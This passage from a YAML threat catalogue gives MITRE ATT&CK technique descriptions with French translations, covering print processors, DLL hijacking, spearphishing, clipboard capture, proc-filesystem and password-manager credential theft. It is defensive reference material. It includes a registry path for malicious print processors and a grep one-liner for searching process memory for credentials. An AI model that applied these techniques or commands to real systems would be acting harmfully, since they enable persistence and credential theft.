      processors installed by an adversary may run under elevated privileges.

      https://attack.mitre.org/techniques/T1547/012'
    translations:
      fr:
        name: "Processeurs d\u2019impression"
        description: "Les adversaires peuvent abuser des processeurs d\u2019impression\
          \ pour ex\xE9cuter des DLL malveillantes lors du d\xE9marrage du syst\xE8\
          me \xE0 des fins de persistance et/ou d\u2019\xE9l\xE9vation de privil\xE8\
          ges. Les processeurs d\u2019impression sont des DLL charg\xE9es par le service\
          \ de spouleur d\u2019impression, \xAB spoolsv.exe \xBB, pendant le d\xE9\
          marrage. (Citation : Microsoft Intro Print Processors)\n\nLes adversaires\
          \ peuvent abuser du service de spouleur d\u2019impression en ajoutant des\
          \ processeurs d\u2019impression qui chargent des DLL malveillantes au d\xE9\
          marrage. Un processeur d\u2019impression peut \xEAtre install\xE9 via l\u2019\
          appel d\u2019API <code>AddPrintProcessor</code> avec un compte pour lequel\
          \ <code>SeLoadDriverPrivilege</code> est activ\xE9. Il est \xE9galement\
          \ possible d\u2019enregistrer un processeur d\u2019impression aupr\xE8s\
          \ du service de spouleur d\u2019impression en ajoutant la cl\xE9 <code>de\
          \ registre HKLM\\SYSTEM\\\\[CurrentControlSet ou ControlSet001]\\Control\\\
          Print\\Environments\\\\[Architecture Windows : par exemple, Windows x64]\\\
          Print Processors\\\\[d\xE9fini par l\u2019utilisateur]\\Driver</code> Registry\
          \ qui pointe vers la DLL.\n\nPour que le processeur d\u2019impression malveillant\
          \ soit correctement install\xE9, la charge utile doit se trouver dans le\
          \ r\xE9pertoire d\xE9di\xE9 du processeur d\u2019impression du syst\xE8\
          me, qui se trouve avec l\u2019appel d\u2019API <code>GetPrintProcessorDirectory</code>\
          \ ou qui est r\xE9f\xE9renc\xE9 via un chemin d\u2019acc\xE8s relatif de\
          \ ce r\xE9pertoire. (Citation : Microsoft AddPrintProcessor mai 2018) Une\
          \ fois les processeurs d\u2019impression install\xE9s, le service de spouleur\
          \ d\u2019impression, qui d\xE9marre pendant le d\xE9marrage, doit \xEAtre\
          \ red\xE9marr\xE9 pour qu\u2019ils puissent s\u2019ex\xE9cuter. (Citation\
          \ : ESET PipeMon mai 2020)\n\nLe service de spouleur d\u2019impression s\u2019\
          ex\xE9cute avec des autorisations de niveau SYST\xC8ME, par cons\xE9quent,\
          \ les processeurs d\u2019impression install\xE9s par un adversaire peuvent\
          \ s\u2019ex\xE9cuter avec des privil\xE8ges \xE9lev\xE9s.\nhttps://attack.mitre.org/techniques/T1547/012"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1566.001
    ref_id: T1566.001
    name: Spearphishing Attachment
    description: 'Adversaries may send spearphishing emails with a malicious attachment
      in an attempt to gain access to victim systems. Spearphishing attachment is
      a specific variant of spearphishing. Spearphishing attachment is different from
      other forms of spearphishing in that it employs the use of malware attached
      to an email. All forms of spearphishing are electronically delivered social
      engineering targeted at a specific individual, company, or industry. In this
      scenario, adversaries attach a file to the spearphishing email and usually rely
      upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation:
      Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering
      techniques, such as posing as a trusted source.


      There are many options for the attachment such as Microsoft Office documents,
      executables, PDFs, or archived files. Upon opening the attachment (and potentially
      clicking past protections), the adversary''s payload exploits a vulnerability
      or directly executes on the user''s system. The text of the spearphishing email
      usually tries to give a plausible reason why the file should be opened, and
      may explain how to bypass system protections in order to do so. The email may
      also contain instructions on how to decrypt an attachment, such as a zip file
      password, in order to evade email boundary defenses. Adversaries frequently
      manipulate file extensions and icons in order to make attached executables appear
      to be document files, or files exploiting one application appear to be a file
      for a different one.

      https://attack.mitre.org/techniques/T1566/001'
    translations:
      fr:
        name: Accessoire de spearphishing
        description: "Les adversaires peuvent envoyer des e-mails de spearphishing\
          \ avec une pi\xE8ce jointe malveillante pour tenter d\u2019acc\xE9der aux\
          \ syst\xE8mes des victimes. L\u2019accessoire de spearphishing est une variante\
          \ sp\xE9cifique du spearphishing. La pi\xE8ce jointe de spearphishing est\
          \ diff\xE9rente des autres formes de spearphishing en ce sens qu\u2019elle\
          \ utilise l\u2019utilisation de logiciels malveillants joints \xE0 un e-mail.\
          \ Toutes les formes de spearphishing sont des actions d\u2019ing\xE9nierie\
          \ sociale transmises par voie \xE9lectronique et ciblent une personne, une\
          \ entreprise ou un secteur d\u2019activit\xE9 sp\xE9cifique. Dans ce sc\xE9\
          nario, les adversaires joignent un fichier \xE0 l\u2019e-mail de spearphishing\
          \ et s\u2019appuient g\xE9n\xE9ralement sur [Ex\xE9cution par l\u2019utilisateur](https://attack.mitre.org/techniques/T1204)\
          \ pour obtenir l\u2019ex\xE9cution. (Citation : Unit\xE9 42 DarkHydrus juillet\
          \ 2018) Le spearphishing peut \xE9galement impliquer des techniques d\u2019\
          ing\xE9nierie sociale, comme se faire passer pour une source fiable.\n\n\
          Il existe de nombreuses options pour la pi\xE8ce jointe, telles que les\
          \ documents Microsoft Office, les ex\xE9cutables, les PDF ou les fichiers\
          \ archiv\xE9s. Lors de l\u2019ouverture de la pi\xE8ce jointe (et \xE9ventuellement\
          \ en cliquant sur les protections pr\xE9c\xE9dentes), la charge utile de\
          \ l\u2019adversaire exploite une vuln\xE9rabilit\xE9 ou s\u2019ex\xE9cute\
          \ directement sur le syst\xE8me de l\u2019utilisateur. Le texte de l\u2019\
          e-mail de spearphishing tente g\xE9n\xE9ralement de donner une raison plausible\
          \ pour laquelle le fichier devrait \xEAtre ouvert, et peut expliquer comment\
          \ contourner les protections du syst\xE8me pour ce faire. L\u2019e-mail\
          \ peut \xE9galement contenir des instructions sur la fa\xE7on de d\xE9chiffrer\
          \ une pi\xE8ce jointe, comme le mot de passe d\u2019un fichier zip, afin\
          \ d\u2019\xE9chapper aux d\xE9fenses des limites de l\u2019e-mail. Les adversaires\
          \ manipulent fr\xE9quemment les extensions de fichiers et les ic\xF4nes\
          \ afin de faire passer les ex\xE9cutables joints pour des fichiers de document,\
          \ ou pour que les fichiers exploitant une application apparaissent comme\
          \ un fichier pour une autre.\nhttps://attack.mitre.org/techniques/T1566/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.008
    ref_id: T1027.008
    name: Stripped Payloads
    description: "Adversaries may attempt to make a payload difficult to analyze by\
      \ removing symbols, strings, and other human readable information. Scripts and\
      \ executables may contain variables names and other strings that help developers\
      \ document code functionality. Symbols are often created by an operating system\u2019\
      s `linker` when executable payloads are compiled. Reverse engineers use these\
      \ symbols and strings to analyze code and to identify functionality in payloads.(Citation:\
      \ Mandiant golang stripped binaries explanation)(Citation: intezer stripped\
      \ binaries elf files 2018)\n\nAdversaries may use stripped payloads in order\
      \ to make malware analysis more difficult. For example, compilers and other\
      \ tools may provide features to remove or obfuscate strings and symbols. Adversaries\
      \ have also used stripped payload formats, such as run-only AppleScripts, a\
      \ compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002),\
      \ to evade detection and analysis. The lack of human-readable information may\
      \ directly hinder detection and analysis of payloads.(Citation: SentinelLabs\
      \ reversing run-only applescripts 2021)\nhttps://attack.mitre.org/techniques/T1027/008"
    translations:
      fr:
        name: "Charges utiles d\xE9pouill\xE9es"
        description: "Les adversaires peuvent tenter de rendre une charge utile difficile\
          \ \xE0 analyser en supprimant des symboles, des cha\xEEnes et d\u2019autres\
          \ informations lisibles par l\u2019homme. Les scripts et les ex\xE9cutables\
          \ peuvent contenir des noms de variables et d\u2019autres cha\xEEnes qui\
          \ aident les d\xE9veloppeurs \xE0 documenter les fonctionnalit\xE9s du code.\
          \ Les symboles sont souvent cr\xE9\xE9s par l\u2019\xE9diteur de liens d\u2019\
          un syst\xE8me d\u2019exploitation lors de la compilation des charges utiles\
          \ ex\xE9cutables. L\u2019ing\xE9nierie inverse utilise ces symboles et cha\xEE\
          nes pour analyser le code et identifier les fonctionnalit\xE9s des charges\
          \ utiles. (Citation : Explication des binaires d\xE9pouill\xE9s de Mandiant\
          \ golang)(Citation\_: intezer stripped binaries elf files 2018)\n\nLes adversaires\
          \ peuvent utiliser des charges utiles supprim\xE9es afin de rendre l\u2019\
          analyse des logiciels malveillants plus difficile. Par exemple, les compilateurs\
          \ et autres outils peuvent fournir des fonctionnalit\xE9s permettant de\
          \ supprimer ou d\u2019obscurcir des cha\xEEnes et des symboles. Les adversaires\
          \ ont \xE9galement utilis\xE9 des formats de charge utile d\xE9pouill\xE9\
          s, tels que les AppleScripts en ex\xE9cution seule, une version compil\xE9\
          e et d\xE9pouill\xE9e de [AppleScript](https://attack.mitre.org/techniques/T1059/002),\
          \ pour \xE9chapper \xE0 la d\xE9tection et \xE0 l\u2019analyse. Le manque\
          \ d\u2019informations lisibles par l\u2019homme peut entraver directement\
          \ la d\xE9tection et l\u2019analyse des charges utiles. (Citation : SentinelLabs\
          \ inversant les applescripts en run-only 2021)\nhttps://attack.mitre.org/techniques/T1027/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1559.001
    ref_id: T1559.001
    name: Component Object Model
    description: 'Adversaries may use the Windows Component Object Model (COM) for
      local code execution. COM is an inter-process communication (IPC) component
      of the native Windows application programming interface (API) that enables interaction
      between software objects, or executable code that implements one or more interfaces.(Citation:
      Fireeye Hunting COM June 2019) Through COM, a client object can call methods
      of server objects, which are typically binary Dynamic Link Libraries (DLL) or
      executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated
      by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed
      Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation:
      Fireeye Hunting COM June 2019)


      Various COM interfaces are exposed that can be abused to invoke arbitrary execution
      via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation:
      Microsoft COM) Specific COM objects also exist to directly perform functions
      beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),
      fileless download/execution, and other adversary behaviors related to privilege
      escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation:
      ProjectZero File Write EoP Apr 2018)

      https://attack.mitre.org/techniques/T1559/001'
    translations:
      fr:
        name: "Mod\xE8le objet composant"
        description: "Les adversaires peuvent utiliser le mod\xE8le COM (Windows Component\
          \ Object Model) pour l\u2019ex\xE9cution de code local. COM est un composant\
          \ de communication inter-processus (IPC) de l\u2019interface de programmation\
          \ d\u2019application (API) native de Windows qui permet l\u2019interaction\
          \ entre des objets logiciels, ou du code ex\xE9cutable qui impl\xE9mente\
          \ une ou plusieurs interfaces. (R\xE9f\xE9rence : Fireeye Hunting COM juin\
          \ 2019) Par COM, un objet client peut appeler des m\xE9thodes d\u2019objets\
          \ serveur, qui sont g\xE9n\xE9ralement des biblioth\xE8ques de liens dynamiques\
          \ (DLL) binaires ou des ex\xE9cutables (EXE). (Citation : Microsoft COM)\
          \ L\u2019ex\xE9cution de COM \xE0 distance est facilit\xE9e par des [Services\
          \ \xE0 distance](https://attack.mitre.org/techniques/T1021) tels que [Distributed\
          \ Component Object Model](https://attack.mitre.org/techniques/T1021/003)\
          \ (DCOM). (R\xE9f\xE9rence : Fireeye Hunting COM juin 2019)\n\nDiverses\
          \ interfaces COM sont expos\xE9es et peuvent \xEAtre utilis\xE9es de mani\xE8\
          re abusive pour invoquer une ex\xE9cution arbitraire via divers langages\
          \ de programmation tels que C, C++, Java et [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\
          \ (Citation : Microsoft COM) Des objets COM sp\xE9cifiques existent \xE9\
          galement pour ex\xE9cuter directement des fonctions au-del\xE0 de l\u2019\
          ex\xE9cution de code, telles que la cr\xE9ation d\u2019une [t\xE2che/t\xE2\
          che planifi\xE9e](https://attack.mitre.org/techniques/T1053), le t\xE9l\xE9\
          chargement/l\u2019ex\xE9cution sans fichier et d\u2019autres comportements\
          \ de l\u2019adversaire li\xE9s \xE0 l\u2019\xE9l\xE9vation de privil\xE8\
          ges et \xE0 la persistance. (R\xE9f\xE9rence : Fireeye Hunting COM juin\
          \ 2019)(Citation\_: ProjectZero File Write EoP Apr 2018)\nhttps://attack.mitre.org/techniques/T1559/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.001
    ref_id: T1574.001
    name: DLL Search Order Hijacking
    description: 'Adversaries may execute their own malicious payloads by hijacking
      the search order used to load DLLs. Windows systems use a common method to look
      for required DLLs to load into a program. (Citation: Microsoft Dynamic Link
      Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads
      may be for the purpose of establishing persistence as well as elevating privileges
      and/or evading restrictions on file execution.


      There are many ways an adversary can hijack DLL loads. Adversaries may plant
      trojan dynamic-link library files (DLLs) in a directory that will be searched
      before the location of a legitimate library that will be requested by a program,
      causing Windows to load their malicious library when it is called for by the
      victim program. Adversaries may also perform DLL preloading, also called binary
      planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL
      with the same name as an ambiguously specified DLL in a location that Windows
      searches before the legitimate DLL. Often this location is the current working
      directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading
      attacks occur when a program sets its current directory to a remote location
      such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory
      2269637)


      Phantom DLL hijacking is a specific type of DLL search order hijacking where
      adversaries target references to non-existent DLL files.(Citation: Hexacorn
      DLL Hijacking)(Citation: Adversaries Hijack DLLs) They may be able to load their
      own malicious DLL by planting it with the correct name in the location of the
      missing module.


      Adversaries may also directly modify the search order via DLL redirection, which
      after being enabled (in the Registry and creation of a redirection file) may
      cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library
      Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order
      Hijacking)


      If a search order-vulnerable program is configured to run at a higher privilege
      level, then the adversary-controlled DLL that is loaded will also be executed
      at the higher level. In this case, the technique could be used for privilege
      escalation from user to administrator or SYSTEM or from administrator to SYSTEM,
      depending on the program. Programs that fall victim to path hijacking may appear
      to behave normally because malicious DLLs may be configured to also load the
      legitimate DLLs they were meant to replace.

      https://attack.mitre.org/techniques/T1574/001'
    translations:
      fr:
        name: "D\xE9tournement d\u2019ordre de recherche DLL"
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ malveillantes en d\xE9tournant l\u2019ordre de recherche utilis\xE9 pour\
          \ charger les DLL. Les syst\xE8mes Windows utilisent une m\xE9thode courante\
          \ pour rechercher les DLL requises \xE0 charger dans un programme. (Citation\
          \ : Ordre de recherche de la biblioth\xE8que de liens dynamiques Microsoft)(Citation\
          \ : D\xE9tournement de FireEye juillet 2010) Le d\xE9tournement de charges\
          \ DLL peut avoir pour but d\u2019\xE9tablir la persistance, d\u2019\xE9\
          lever les privil\xE8ges et/ou d\u2019\xE9luder les restrictions sur l\u2019\
          ex\xE9cution des fichiers.\n\nIl existe de nombreuses fa\xE7ons pour un\
          \ adversaire de d\xE9tourner des charges DLL. Les adversaires peuvent installer\
          \ des fichiers de biblioth\xE8que de liens dynamiques (DLL) de cheval de\
          \ Troie dans un r\xE9pertoire qui sera recherch\xE9 avant l\u2019emplacement\
          \ d\u2019une biblioth\xE8que l\xE9gitime qui sera demand\xE9e par un programme,\
          \ ce qui oblige Windows \xE0 charger leur biblioth\xE8que malveillante lorsqu\u2019\
          elle est demand\xE9e par le programme victime. Les adversaires peuvent \xE9\
          galement effectuer le pr\xE9chargement de DLL, \xE9galement appel\xE9 attaques\
          \ d\u2019implantation binaire, (Citation : OWASP Binary Planting) en pla\xE7\
          ant une DLL malveillante portant le m\xEAme nom qu\u2019une DLL sp\xE9cifi\xE9\
          e de mani\xE8re ambigu\xEB dans un emplacement que Windows recherche avant\
          \ la DLL l\xE9gitime. Souvent, cet emplacement est le r\xE9pertoire de travail\
          \ actuel du programme. (Citation : FireEye fxsst juin 2011) Les attaques\
          \ de pr\xE9chargement de DLL distantes se produisent lorsqu\u2019un programme\
          \ d\xE9finit son r\xE9pertoire actuel sur un emplacement distant, tel qu\u2019\
          un partage Web, avant de charger une DLL. (R\xE9f\xE9rence : Avis de s\xE9\
          curit\xE9 Microsoft 2269637)\n\nLe d\xE9tournement de DLL fant\xF4me est\
          \ un type sp\xE9cifique de d\xE9tournement d\u2019ordre de recherche DLL\
          \ o\xF9 les adversaires ciblent des r\xE9f\xE9rences \xE0 des fichiers DLL\
          \ inexistants. (Citation : D\xE9tournement de DLL Hexacorn)(Citation : Les\
          \ adversaires d\xE9tournent les DLL) Ils peuvent \xEAtre en mesure de charger\
          \ leur propre DLL malveillante en l\u2019implantant avec le nom correct\
          \ \xE0 l\u2019emplacement du module manquant.\n\nLes adversaires peuvent\
          \ \xE9galement modifier directement l\u2019ordre de recherche via la redirection\
          \ DLL, qui, apr\xE8s avoir \xE9t\xE9 activ\xE9e (dans le registre et la\
          \ cr\xE9ation d\u2019un fichier de redirection), peut amener un programme\
          \ \xE0 charger une DLL diff\xE9rente. (Citation : Redirection de la biblioth\xE8\
          que Microsoft Dynamic-Link)(Citation : Manifestes Microsoft)(Citation :\
          \ D\xE9tournement d\u2019ordre de recherche DLL FireEye)\n\nSi un programme\
          \ vuln\xE9rable \xE0 l\u2019ordre de recherche est configur\xE9 pour s\u2019\
          ex\xE9cuter \xE0 un niveau de privil\xE8ge sup\xE9rieur, la DLL contr\xF4\
          l\xE9e par l\u2019adversaire qui est charg\xE9e sera \xE9galement ex\xE9\
          cut\xE9e au niveau sup\xE9rieur. Dans ce cas, la technique peut \xEAtre\
          \ utilis\xE9e pour l\u2019\xE9l\xE9vation de privil\xE8ges de l\u2019utilisateur\
          \ \xE0 l\u2019administrateur ou du SYST\xC8ME ou de l\u2019administrateur\
          \ au SYST\xC8ME, selon le programme. Les programmes victimes d\u2019un d\xE9\
          tournement de chemin peuvent sembler se comporter normalement, car les DLL\
          \ malveillantes peuvent \xEAtre configur\xE9es pour charger \xE9galement\
          \ les DLL l\xE9gitimes qu\u2019elles \xE9taient cens\xE9es remplacer.\n\
          https://attack.mitre.org/techniques/T1574/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1119
    ref_id: T1119
    name: Automated Collection
    description: "Once established within a system or network, an adversary may use\
      \ automated techniques for collecting internal data. Methods for performing\
      \ this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)\
      \ to search for and copy information fitting set criteria such as file type,\
      \ location, or name at specific time intervals. \n\nIn cloud-based environments,\
      \ adversaries may also use cloud APIs, data pipelines, command line interfaces,\
      \ or extract, transform, and load (ETL) services to automatically collect data.(Citation:\
      \ Mandiant UNC3944 SMS Phishing 2023) \n\nThis functionality could also be built\
      \ into remote access tools. \n\nThis technique may incorporate use of other\
      \ techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)\
      \ and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to\
      \ identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538)\
      \ and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619)\
      \ to identify resources in cloud environments.\nhttps://attack.mitre.org/techniques/T1119"
    translations:
      fr:
        name: "Collecte automatis\xE9e"
        description: "Une fois \xE9tabli au sein d\u2019un syst\xE8me ou d\u2019un\
          \ r\xE9seau, un adversaire peut utiliser des techniques automatis\xE9es\
          \ pour collecter des donn\xE9es internes. Les m\xE9thodes d\u2019ex\xE9\
          cution de cette technique peuvent inclure l\u2019utilisation d\u2019un [interpr\xE9\
          teur de commandes et de scripts](https://attack.mitre.org/techniques/T1059)\
          \ pour rechercher et copier des informations correspondant \xE0 des crit\xE8\
          res d\xE9finis tels que le type de fichier, l\u2019emplacement ou le nom\
          \ \xE0 des intervalles de temps sp\xE9cifiques. \n\nDans les environnements\
          \ bas\xE9s sur le cloud, les adversaires peuvent \xE9galement utiliser des\
          \ API cloud, des pipelines de donn\xE9es, des interfaces de ligne de commande\
          \ ou des services d\u2019extraction, de transformation et de chargement\
          \ (ETL) pour collecter automatiquement des donn\xE9es. (Citation : Mandiant\
          \ UNC3944 SMS Phishing 2023) \n\nCette fonctionnalit\xE9 pourrait \xE9galement\
          \ \xEAtre int\xE9gr\xE9e dans les outils d\u2019acc\xE8s \xE0 distance.\
          \ \n\nCette technique peut int\xE9grer l\u2019utilisation d\u2019autres\
          \ techniques telles que [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)\
          \ et [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)\
          \ pour identifier et d\xE9placer des fichiers, ainsi que [Cloud Service\
          \ Dashboard](https://attack.mitre.org/techniques/T1538) et [Cloud Storage\
          \ Object Discovery](https://attack.mitre.org/techniques/T1619) pour identifier\
          \ les ressources dans les environnements cloud.\nhttps://attack.mitre.org/techniques/T1119"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1115
    ref_id: T1115
    name: Clipboard Data
    description: "Adversaries may collect data stored in the clipboard from users\
      \ copying information within or between applications. \n\nFor example, on Windows\
      \ adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>.(Citation:\
      \ MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally,\
      \ adversaries may monitor then replace users\u2019 clipboard with their data\
      \ (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation:\
      \ mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as\
      \ <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with\
      \ EmPyre)\nhttps://attack.mitre.org/techniques/T1115"
    translations:
      fr:
        name: "Donn\xE9es du presse-papiers"
        description: "Les adversaires peuvent collecter des donn\xE9es stock\xE9es\
          \ dans le presse-papiers aupr\xE8s d\u2019utilisateurs qui copient des informations\
          \ au sein d\u2019applications ou entre elles. \n\nPar exemple, sous Windows,\
          \ les adversaires peuvent acc\xE9der aux donn\xE9es du presse-papiers \xE0\
          \ l\u2019aide <code>de clip.exe</code> ou <code>de Get-Clipboard</code>.\
          \ (Citation : presse-papiers MSDN)(R\xE9f\xE9rence : clip_win_server)(R\xE9\
          f\xE9rence : CISA_AA21_200B) De plus, les adversaires peuvent surveiller,\
          \ puis remplacer le presse-papiers des utilisateurs par leurs donn\xE9es\
          \ (par exemple, [Manipulation des donn\xE9es transmises](https://attack.mitre.org/techniques/T1565/002)).\
          \ (R\xE9f\xE9rence : mining_ruby_reversinglabs)\n\nmacOS et Linux ont \xE9\
          galement des commandes, telles que <code>pbpaste</code>, pour r\xE9cup\xE9\
          rer le contenu du presse-papiers. (Citation : Op\xE9rer avec EmPyre)\nhttps://attack.mitre.org/techniques/T1115"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1003.007
    ref_id: T1003.007
    name: Proc Filesystem
    description: "Adversaries may gather credentials from the proc filesystem or `/proc`.\
      \ The proc filesystem is a pseudo-filesystem used as an interface to kernel\
      \ data structures for Linux based systems managing virtual memory. For each\
      \ process, the `/proc/<PID>/maps` file shows how memory is mapped within the\
      \ process\u2019s virtual address space. And `/proc/<PID>/mem`, exposed for debugging\
      \ purposes, provides access to the process\u2019s virtual address space.(Citation:\
      \ Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)\n\nWhen\
      \ executing with root privileges, adversaries can search these memory locations\
      \ for all processes on a system that contain patterns indicative of credentials.\
      \ Adversaries may use regex patterns, such as <code>grep -E \"^[0-9a-f-]* r\"\
      \ /proc/\"$pid\"/maps | cut -d' ' -f 1</code>, to look for fixed strings in\
      \ memory structures or cached hashes.(Citation: atomic-red proc file system)\
      \ When running without privileged access, processes can still view their own\
      \ virtual memory locations. Some services or programs may save credentials in\
      \ clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub\
      \ May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with\
      \ the permissions of a web browser, a process can search the `/maps` & `/mem`\
      \ locations for common website credential patterns (that can also be used to\
      \ find adjacent memory within the same structure) in which hashes or cleartext\
      \ credentials may be located.\nhttps://attack.mitre.org/techniques/T1003/007"
    translations:
      fr:
        name: "Syst\xE8me de fichiers Proc"
        description: "Les adversaires peuvent collecter des informations d\u2019identification\
          \ \xE0 partir du syst\xE8me de fichiers proc ou de '/proc'. Le syst\xE8\
          me de fichiers proc est un pseudo-syst\xE8me de fichiers utilis\xE9 comme\
          \ interface pour les structures de donn\xE9es du noyau pour les syst\xE8\
          mes bas\xE9s sur Linux g\xE9rant la m\xE9moire virtuelle. Pour chaque processus,\
          \ le fichier '/proc/<PID>/maps' montre comment la m\xE9moire est mapp\xE9\
          e dans l\u2019espace d\u2019adressage virtuel du processus. Et '/proc/<PID>/mem',\
          \ expos\xE9 \xE0 des fins de d\xE9bogage, permet d\u2019acc\xE9der \xE0\
          \ l\u2019espace d\u2019adressage virtuel du processus.( Citation : Picus\
          \ Labs Proc cump 2022)(Citation : baeldung Linux proc map 2022)\n\nLors\
          \ de l\u2019ex\xE9cution avec des privil\xE8ges root, les adversaires peuvent\
          \ rechercher dans ces emplacements m\xE9moire tous les processus d\u2019\
          un syst\xE8me qui contiennent des mod\xE8les indiquant des informations\
          \ d\u2019identification. Les adversaires peuvent utiliser des mod\xE8les\
          \ d\u2019expression r\xE9guli\xE8re, tels que <code>grep -E \xAB\_^[0-9a-f-]*\
          \ r\_\xBB /proc/\"$pid\"/maps | cut -d'' -f 1</code>, pour rechercher des\
          \ cha\xEEnes fixes dans les structures de m\xE9moire ou les hachages mis\
          \ en cache. (Citation : syst\xE8me de fichiers proc atomic-red) Lorsqu\u2019\
          ils s\u2019ex\xE9cutent sans acc\xE8s privil\xE9gi\xE9, les processus peuvent\
          \ toujours afficher leurs propres emplacements de m\xE9moire virtuelle.\
          \ Certains services ou programmes peuvent enregistrer les informations d\u2019\
          identification en texte clair dans la m\xE9moire du processus. (Citation\
          \ : MimiPenguin GitHub mai 2017)(Citation : polop linux privEsc gitbook)\n\
          \nS\u2019il s\u2019ex\xE9cute en tant que navigateur Web ou avec les autorisations\
          \ d\u2019un navigateur Web, un processus peut rechercher les emplacements\
          \ '/maps' et '/mem' \xE0 la recherche de mod\xE8les d\u2019informations\
          \ d\u2019identification de site Web courants (qui peuvent \xE9galement \xEA\
          tre utilis\xE9s pour trouver de la m\xE9moire adjacente dans la m\xEAme\
          \ structure) dans lesquels des hachages ou des informations d\u2019identification\
          \ en texte clair peuvent se trouver.\nhttps://attack.mitre.org/techniques/T1003/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1583.005
    ref_id: T1583.005
    name: Botnet
    description: "Adversaries may buy, lease, or rent a network of compromised systems\_\
      that can be used during targeting. A botnet is a network of compromised systems\
      \ that can be instructed to perform coordinated tasks.(Citation: Norton Botnet)\
      \ Adversaries may purchase a subscription to use an existing botnet from a booter/stresser\
      \ service. With a botnet at their disposal, adversaries may perform follow-on\
      \ activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566)\
      \ or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation:\
      \ Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)\nhttps://attack.mitre.org/techniques/T1583/005"
    translations:
      fr:
        name: Botnet
        description: "Les adversaires peuvent acheter, louer ou louer un r\xE9seau\
          \ de syst\xE8mes compromis qui peuvent \xEAtre utilis\xE9s lors du ciblage.\
          \ Un botnet est un r\xE9seau de syst\xE8mes compromis qui peuvent \xEAtre\
          \ charg\xE9s d\u2019effectuer des t\xE2ches coordonn\xE9es. (R\xE9f\xE9\
          rence : Norton Botnet) Les adversaires peuvent acheter un abonnement pour\
          \ utiliser un botnet existant \xE0 partir d\u2019un service de d\xE9marrage/stresseur.\
          \ Lorsqu\u2019ils disposent d\u2019un botnet, les adversaires peuvent effectuer\
          \ des activit\xE9s de suivi telles que le [phishing](https://attack.mitre.org/techniques/T1566)\
          \ ou le d\xE9ni de service distribu\xE9 (DDoS) \xE0 grande \xE9chelle. (Citation\
          \ : Imperva DDoS \xE0 louer)(Citation : Krebs-Anna)(Citation : Krebs-Bazaar)(Citation\
          \ : Krebs-Booter)\nhttps://attack.mitre.org/techniques/T1583/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1555.005
    ref_id: T1555.005
    name: Password Managers
    description: "Adversaries may acquire user credentials from third-party password\
      \ managers.(Citation: ise Password Manager February 2019) Password managers\
      \ are applications designed to store user credentials, normally in an encrypted\
      \ database. Credentials are typically accessible after a user provides a master\
      \ password that unlocks the database. After the database is unlocked, these\
      \ credentials may be copied to memory. These databases can be stored as files\
      \ on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may\
      \ acquire user credentials from password managers by extracting the master password\
      \ and/or plain-text credentials from memory.(Citation: FoxIT Wocao December\
      \ 2019)(Citation: Github KeeThief) Adversaries may extract credentials from\
      \ memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation:\
      \ NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password\
      \ Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master\
      \ password of a password manager.(Citation: Cyberreason Anchor December 2019)\n\
      https://attack.mitre.org/techniques/T1555/005"
    translations:
      fr:
        name: Gestionnaires de mots de passe
        description: "Les adversaires peuvent acqu\xE9rir les informations d\u2019\
          identification des utilisateurs aupr\xE8s de gestionnaires de mots de passe\
          \ tiers. (Citation\_: ise Password Manager f\xE9vrier 2019) Les gestionnaires\
          \ de mots de passe sont des applications con\xE7ues pour stocker les informations\
          \ d\u2019identification de l\u2019utilisateur, normalement dans une base\
          \ de donn\xE9es crypt\xE9e. Les informations d\u2019identification sont\
          \ g\xE9n\xE9ralement accessibles une fois qu\u2019un utilisateur a fourni\
          \ un mot de passe principal qui d\xE9verrouille la base de donn\xE9es. Une\
          \ fois la base de donn\xE9es d\xE9verrouill\xE9e, ces informations d\u2019\
